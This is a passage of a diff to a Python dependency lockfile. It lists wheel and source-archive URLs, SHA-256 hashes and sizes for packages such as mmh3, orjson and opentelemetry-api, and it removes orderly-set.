"https://files.pythonhosted.org/packages/4e/fc/97ab3b905aa27e2bd1886fc0c4ab5e6b05db697f2168300928d6b2184786/mmh3-5.3.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc25cc785743cdfc10b3f671fde6bea760689518372ffd355bda03f9c07dc9ec", size = 117054, upload-time = "2026-09-30T17:37:52.331Z" }, + { url = "https://files.pythonhosted.org/packages/3b/d7/911384e5a69b817074afa6a8e236a875e601c2b856f6ba520208f357401f/mmh3-5.3.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e885b5f0102899227456a6568585295e599f5f90872933a62274746e94c244dd", size = 122287, upload-time = "2026-09-30T17:37:53.683Z" }, + { url = "https://files.pythonhosted.org/packages/d2/8a/ec962c0bf2b720c2e1d8d2410e25f699df421ac8f77bbf4463068f103bc0/mmh3-5.3.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fc7a4ab919a66b9db72c1425d610f69a8480dce22aa4c6ad2218e4acf41f8c01", size = 130866, upload-time = "2026-09-30T17:37:54.951Z" }, + { url = "https://files.pythonhosted.org/packages/f4/a9/5dff431289844d190484a8dbb734320e1a19781a29c37372510e1d816799/mmh3-5.3.1-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0bd3b13c6ab9c851c6e74a06fde305c9661d985ceadf91ed60507a27ee1ab4cb", size = 110756, upload-time = "2026-09-30T17:37:56.459Z" }, + { url = "https://files.pythonhosted.org/packages/a0/74/15099e020e8d02e674078b1bdedf0db61f7f447dd684f004d59f5b250361/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:bc3605b2db1dfcea3d0ea481ed32ac798753dd68e942fe3859374021d1668edb", size = 107650, upload-time = "2026-09-30T17:37:57.891Z" }, + { url = "https://files.pythonhosted.org/packages/7a/cb/f00da63de039f9891914d2969bae2d590a5f410c8a9ee93fe6e5ad7d35db/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:ea031c00ffbfc38e54cc070426ec2d136e573cbae24cc34e7ee558399ac71ce0", size = 108729, upload-time = "2026-09-30T17:37:59.229Z" }, + { url = "https://files.pythonhosted.org/packages/17/7d/d6b33bb23a1c56d8af2571eaac999d526a09ac59e6eca35603d74bfe2c1a/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:b4a40cd05113233d30b3035054f9d4939e25466bb63e75d158f116b030618e55", size = 114172, upload-time = "2026-09-30T17:38:00.596Z" }, + { url = "https://files.pythonhosted.org/packages/09/8d/bc670057ebd529792feebd6f8e6ac5463df3c8c9d8a4fd1530327d71a74f/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:1c6593adfb734776dd93bd16b30512211be5d9a96aec0925b4a3f081edb6ad91", size = 109063, upload-time = "2026-09-30T17:38:01.947Z" }, + { url = "https://files.pythonhosted.org/packages/63/02/c9229c198ce251bbcdfd3ee96d35c711fc3dcb5d05b9330c55b2a63b5db7/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:d3883cbc3da65076bf0972e7b76f4c972d9fe5810757030cd01c29cbe0ccde41", size = 119758, upload-time = "2026-09-30T17:38:03.264Z" }, + { url = "https://files.pythonhosted.org/packages/01/b9/25cde1ae2118d1962fb68bdf399d2676a242216a18cc9e89a8b34df19ba0/mmh3-5.3.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:5b5d7b1141ad7ad0091199f8440f3034ce775ea8c470a418bf6e2c371de08ec5", size = 107392, upload-time = "2026-09-30T17:38:04.611Z" }, + { url = "https://files.pythonhosted.org/packages/3b/93/ce57c57a62c97c4bceaafb4df29e5bfdc827f3cea08b27444dcf3f55ecb6/mmh3-5.3.1-cp315-cp315t-win32.whl", hash = "sha256:2d76a78ab3af4be19d31840ca4f69b429e602e719d0b351f20d96304dbfb155e", size = 41534, upload-time = "2026-09-30T17:38:05.901Z" }, + { url = "https://files.pythonhosted.org/packages/63/ea/fee223d57ef44e743e71216805b873fd452b1de034a5a6bf78011deb7e9d/mmh3-5.3.1-cp315-cp315t-win_amd64.whl", hash = "sha256:4c061c1072dc2f32ef7e6a57a92da3de217dc47114b2857da31b34bc79ac795b", size = 43019, upload-time = "2026-09-30T17:38:07.154Z" }, + { url = "https://files.pythonhosted.org/packages/c2/6f/727d4255c2ca4957f87400852449f22f148b4278529701c67c6c65dadafb/mmh3-5.3.1-cp315-cp315t-win_arm64.whl", hash = "sha256:c90b3503675892e7496bec63e2e18e413798a062e5d54e6cf220c2bf0bb7fe69", size = 41323, upload-time = "2026-09-30T17:38:08.405Z" }, ] [[package]] @@ -1878,93 +1541,73 @@ wheels = [ ] [[package]] -name = "orderly-set" -version = "5.5.0" +name = "opentelemetry-api" +version = "1.45.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/4a/88/39c83c35d5e97cc203e9e77a4f93bf87ec89cf6a22ac4818fdcc65d66584/orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce", size = 27414, upload-time = "2025-07-10T20:10:55.885Z" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/dc/e12c1fe1ed8a7b7149777127b1a0e12ce5bd5a81d97408bedc2128c260f5/opentelemetry_api-1.45.0.tar.gz", hash = "sha256:711ede81773c8025c2c03dac0450bc89f3d30aea6eabcc815c570d4e35a963f7", size = 72115, upload-time = "2026-09-25T12:32:28.399Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/12/27/fb8d7338b4d551900fa3e580acbe7a0cf655d940e164cb5c00ec31961094/orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7", size = 13068, upload-time = "2025-07-10T20:10:54.377Z" }, + { url = "https://files.pythonhosted.org/packages/44/b9/040d1a1c7836922828e6480cd2366bb8fe0ebf75b413d2bb51a9b0e7f78f/opentelemetry_api-1.45.0-py3-none-any.whl", hash = "sha256:80e068aba7cd56c8b58512d6a36f8d25cb1dfaa0c0a4cc1c938ccf9f362d9cb3", size = 60020, upload-time = "2026-09-25T12:32:03.192Z" }, ] [[package]] name = "orjson" -version = "3.11.9" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, - { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, - { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, - { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, - { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, - { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, - { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, - { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, - { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, - { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, - { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, - { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, - { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, - { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, - { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, - { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, - { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, - { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, - { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, - { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, - { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, - { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, - { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, - { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, - { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, - { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, - { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, - { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, - { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, - { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, - { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, - { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, - { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, - { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, - { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, - { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, - { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, - { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, - { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, - { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, - { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, - { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, - { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, - { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, - { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, - { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, - { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, - { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, - { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, - { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, - { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, - { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, - { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, - { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, - { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, - { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, - { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, - { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, - { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, - { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, - { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, - { url = 